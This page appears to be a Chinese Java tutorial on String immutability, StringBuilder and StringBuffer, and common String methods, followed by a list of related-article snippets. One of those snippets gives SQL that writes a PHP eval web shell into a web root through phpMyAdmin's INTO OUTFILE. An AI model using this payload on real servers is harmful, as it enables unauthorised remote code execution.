【Java】String字符串及常用API

目录

一、字符串

1、 字符串是常量,不可改变

2、创建字符串的方式:

3、StringBuilder和StringBuffer

二、String字符串常用方法

1、以指定字符串开头或结尾startsWith、endWith

2、字符串截取

       substring(beginIndex,endIndex)/substring(beginIndex)

3、字符串拆分 split

4、字符串比较 equals、equalsIgnoreCase、compareTo

5、字符串长度 length()方法

6、去掉左右空格trim

7、判空isEmpty

8、转大小写toUpperCase、toLowerCase

9、替换replace

10、转成字符数组——toCharArray()

11、int indexOf(String str)

12、charAt 返回指定索引处的字符

13、concat 拼接 比起+ 效率会高一点

14、String.valueOf() 把其他数据类型转换成字符串类型

15、toString方法 对一个对象的字符串的表示形式


一、字符串

1、 字符串是常量,不可改变

        只要双引号包裹的内容就是字符串的对象

        如,"dgsah" ——就是个字符串对象,其中dgsah存在于字符串常量池中

        比如字符串的拼接,不是在原字符串的内存空间上修改,而是新new出来一个字符串

2、创建字符串的方式:

String s1 = "胡辣汤";
String s2 = new String("狗不理");//new String()可省

3、StringBuilder和StringBuffer

StringBuilder是可以改变的字符串. 都在原来的基础上进行操作. 所以不会产生内存浪费.

StringBuffer和StringBuilder基本上一模一样.

区别是StringBuffer线程安全. StringBuilder线程不安全.

二、String字符串常用方法

1、以指定字符串开头或结尾startsWith、endWith

2、字符串截取

       substring(beginIndex,endIndex)/substring(beginIndex)

        包含 beginIndex 不包含endIndex / 从beginIndex截取到末尾

3、字符串拆分 split

        此方法返回的数组包含此字符串的子字符串

        应用:为了传一个内容,用特殊字符拼在一起,然后使用时再切割

4、字符串比较 equals、equalsIgnoreCase、compareTo

5、字符串长度 length()方法

6、去掉左右空格trim

7、判空isEmpty

8、转大小写toUpperCase、toLowerCase

9、替换replace

        replace(原始待替换字符串部分, 替换的目标部分)

//!!!replace  重载的方法  替换  应用:参数化{{id}}/${id}
//replace(CharSequence target, CharSequence replacement)
//使用指定的字面值替换序列替换此字符串所有匹配字面值目标序列的子字符串。String str15 = "abc123";
System.out.println(str15.replace("123","学习机"));//abc学习机
System.out.println(str15);//abc123;因为原字符串不可改变,要用新的字符串来接收//String strNew = str15.replace("123","学习机"); 和下面一句效果等同
str15 = str15.replace("123","学习机");//新字符串替换后重新覆盖str15⚠️replace是相当于又开辟了一个空间,把这个地址赋值给result
System.out.println(str15);//abc学习机

10、转成字符数组——toCharArray()

        将此字符串转换为一个新的字符数组 返回char[]类型

11、int indexOf(String str)


       返回指定子字符串在此字符串中第一次出现处的索引 str.indexOf()        

12、charAt 返回指定索引处的字符

13、concat 拼接 比起+ 效率会高一点

14、String.valueOf() 把其他数据类型转换成字符串类型

//把其他数据类型转成String字符串更简单的方式 ——>  任何数据类型 + 字符串(空字符串)"" ——都是字符串int a =1;
System.out.println(String.valueOf(1));//1double d = 1233210.0
System.out.println(String.valueOf(d));//1233210.0
System.out.println(String.valueOf(d).getClass());//class java.lang.String

15、toString方法 对一个对象的字符串的表示形式

直接打印一个对象,默认打印对象,自动执行这个对象中的toString()方法

JAVA官方推荐重写这个方法,默认的太丑了——>object中默认的toString():包+类@内存地址 如果没有包就是:类@内存地址

子类对父类提供的toString不满意,可以进行重写

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/748389.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

算法笔记 连载中。。。

HashMap&#xff08;会根据key值自动排序&#xff09; HashMap<String, Integer> hash new HashMap<>() hash.put(15,18) hash.getOrDefault(ts, -1) //如果ts(key)存在&#xff0c;返回对应的value 否则返回-1 hashMap1.get(words1[i])1会报错&#xff0c;因…

AcWing 848. 有向图的拓扑序列

#include<iostream> #include<cmath> #include<queue> #include<cstring> #include<cstdlib> #include<algorithm> using namespace std; const int N1e510; int n,m,a,b; int e[N],ne[N],h[N],idx; int d[N],top[N],cnt1;//top是拓扑排序…

Linux学习笔记:什么是文件描述符

什么是文件描述符 C语言的文件接口文件的系统调用什么是文件描述符,文件描述符为什么是int类型?为什么新打开的文件的文件描述符不是从0开始? 文件描述符 fd (file descriptor) C语言的文件接口 当时学习C语言的时候,学习了文件接口 具体可以查看之前的文章: 链接:C语言的文…

flask库

文章目录 flask库1. 基本使用2. 路由路径和路由参数3. 请求跳转和请求参数4. 模板渲染1. 模板变量2. 过滤器3. 测试器 5. 钩子函数与响应对象 flask库 flask是python编写的轻量级框架&#xff0c;提供Werkzeug&#xff08;WSGI工具集&#xff09;和jinjia2&#xff08;渲染模板…

【基于PSINS】误差计算函数

输入真值 (参考值)、对比量、待比较值,输出误差的最大值、平均值、标准差的函数 程序源码 function [err] = EV_error_output(out_flag,avp_flag,avp,varargin) % draw_flag:以字符串的形式输入绘图的数据,eg:["EKF","UKF"] % avp:基准 % avp_:…

【PyTorch】基础学习:在Pycharm等IDE中打印或查看Pytorch版本信息

【PyTorch】基础学习&#xff1a;在Pycharm等IDE中打印或查看Pytorch版本信息 &#x1f308; 个人主页&#xff1a;高斯小哥 &#x1f525; 高质量专栏&#xff1a;Matplotlib之旅&#xff1a;零基础精通数据可视化、Python基础【高质量合集】、PyTorch零基础入门教程&#x1…

机器硬件命令

一、查看机器核数 有以下几种方法 1、lscpu命令 lscpu命令可以显示关于CPU的信息&#xff0c;包括核数、线程数等。在终端中输入以下命令即可查看CPU核数&#xff1a;该命令会输出CPU每个物理插槽的核数。 lscpu | grep "Core(s) per socket" | awk {print $NF} …

PHPadmin写shell的方法

一、常规导入 shell 的操作创建数据表导出 shell CREATE TABLE mysql.shadow9 (content TEXT NOT NULL ); INSERT INTO mysql.shadow9 (content ) VALUES (‘<?php eval($_POST[pass]);?>’); SELECT content FROM shadow9 INTO OUTFILE ‘C:\\phpStudy\\WWW\\90sec.…

C++中实现String类

String类实现 概述示例开发环境代码运行结果 注意 概述 本文主要记录自己实现一个String类中的部分功能。 示例 开发环境 Windows下Visual Studio 2019。 代码 MyString.h #pragma once #include <iostream>class MyString{ public:MyString();MyString(char *p);…

github登录时解决2FA问题

使用Edge浏览器下载插件 https://microsoftedge.microsoft.com/addons/detail/authenticator-2fa-client/ocglkepbibnalbgmbachknglpdipeoio 下载后弹框会显示是否添加&#xff0c;添加。如下&#xff1a; Chrome下 https://chrome.google.com/webstore/detail/authenticator…

数据结构维度的索引及其应用场景

B树索引 B树索引是MySQL中广泛采用的数据结构&#xff0c;它将所有实际数据存储在叶子节点上&#xff0c;形成一个有序链表结构。B树索引的查询复杂度为O(logn)&#xff0c;非常适合执行范围查询操作&#xff0c;因其索引结构能高效地对区间内的数据进行遍历。 B树索引特点&a…

ipv6【H3C笔记】

ipv6地址 一&#xff0c;配置 int g0/0 ipv6 address auto 【r1】 dis ipv6 int g0/0 #查看自动获取到的IP地址 二&#xff0c;检查 在另一台路由器【r2】上做相同操作 【R2】ping ipv6 -i g0/0 r1的ipv6地址 # 对于自动获取到ipv6地址&#xff0c…

景联文科技:提供通用多模态数据,助力AI多模态领域实现飞跃式发展

回顾2023年&#xff0c;以ChatGPT为代表的通用人工智能大模型在全球范围内掀起了新一轮人工智能产业发展浪潮&#xff0c;我国人工智能大模型市场呈现百“模”争鸣、日新月异的迅猛发展态势。 根据大模型之家、钛媒体数据&#xff0c;2023年中国大模型市场规模达到147亿人民币&…

wsl ubuntu 安装的正确方式

目录 wsl ubuntu 安装的正确方式: 将wsl2设置为默认版本: 1、打开powershell

Elasticsearch:从 Java High Level Rest Client 切换到新的 Java API Client

作者&#xff1a;David Pilato 我经常在讨论中看到与 Java API 客户端使用相关的问题。 为此&#xff0c;我在 2019 年启动了一个 GitHub 存储库&#xff0c;以提供一些实际有效的代码示例并回答社区提出的问题。 从那时起&#xff0c;高级 Rest 客户端 (High Level Rest Clie…

vizro,一个有趣的 Python 库!

更多资料获取 &#x1f4da; 个人网站&#xff1a;ipengtao.com 大家好&#xff0c;今天为大家分享一个有趣的 Python 库 - vizro。 Github地址&#xff1a;https://github.com/mckinsey/vizro 在当今数据驱动的世界中&#xff0c;数据可视化扮演着至关重要的角色。它不仅可以…

Python 3 教程(6)

Python3 字符串 字符串是 Python 中最常用的数据类型。我们可以使用引号( 或 " )来创建字符串。 创建字符串很简单,只要为变量分配一个值即可。例如: var1 =

JavaScript PAT乙级题解 1036 跟奥巴马一起编程

美国总统奥巴马不仅呼吁所有人都学习编程&#xff0c;甚至以身作则编写代码&#xff0c;成为美国历史上首位编写计算机代码的总统。2014 年底&#xff0c;为庆祝“计算机科学教育周”正式启动&#xff0c;奥巴马编写了很简单的计算机代码&#xff1a;在屏幕上画一个正方形。现在…

西门子PLC常用底层逻辑块分享_电动蝶阀

文章目录 前言一、功能概述二、电动蝶阀程序编写1.创建自定义数据类型2.创建FB功能块“电动蝶阀”3.编写程序 前言 本文分享一个自己编写的电动蝶阀控制逻辑块。 一、功能概述 手动状态、自动状态、机旁状态、强制状态、检修状态自由切换&#xff1b;具有开阀超时、关阀超时报…

c语言-输入包含空格的字符串

1、scanf无法接收空格 char str[10]; scanf(“%s”,str);2、gets可以接收空格&#xff0c;c11已弃用&#xff0c;不建议使用 char str[5]; gets(str);3、char *p 字符串长度动态变化 scanf 无法接收空格 char str[100]{0}; char *pstr; //或者 char *pNULL; pstr; scanf(&q…